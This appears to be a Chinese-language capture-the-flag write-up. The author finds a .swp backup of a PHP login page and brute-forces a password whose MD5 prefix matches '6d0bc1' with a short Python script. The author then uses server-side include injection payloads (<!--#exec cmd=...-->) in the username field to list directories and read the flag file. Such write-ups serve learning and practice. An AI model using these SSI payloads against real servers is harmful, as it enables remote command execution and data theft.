特意搜了下题目,以为有什么提示,结果是一个搜索插件
然后用注入,爆破密码,都没用
扫描后台发现index.php.swp备份(我用御剑没扫出来,下次要安装一些其他的扫描工具,用dirmap指定字典才出来。网上的字典大部分没包含index.php.swp的,还要自己添加到字典里。)
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
重点关注这句话输入的password在md5加密后前六位要等于6d0bc1
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6))
python代码
from hashlib import md5
for i in range(10000000):
if md5(str(i).encode('utf-8')).hexdigest()[:6] == '6d0bc1':
print(i)
2020666
2305004
9162671
三选一
username没做要求
username=<!--#exec cmd="ls"-->&password=2020666
什么都没有,就到处看看,在网络里可以找到url
这会报时间,IP,但是抓包后却没有能操作的
1是我们输入的用户名,可以在这操作
url最后跟了shtml,和平常的有些不一样
SSI注入漏洞
username=<!--#exec cmd="ls"-->&password=2020666
然后
username=<!--#exec cmd="cat flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666
没有用,因为ls查看的当前一级的文件就是页面显示的,进入页面后路径就变了,cat后面就要加上路径
看wp,是用
username=<!--#exec cmd="ls ../"-->&password=2020666
就会直接出来这个
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666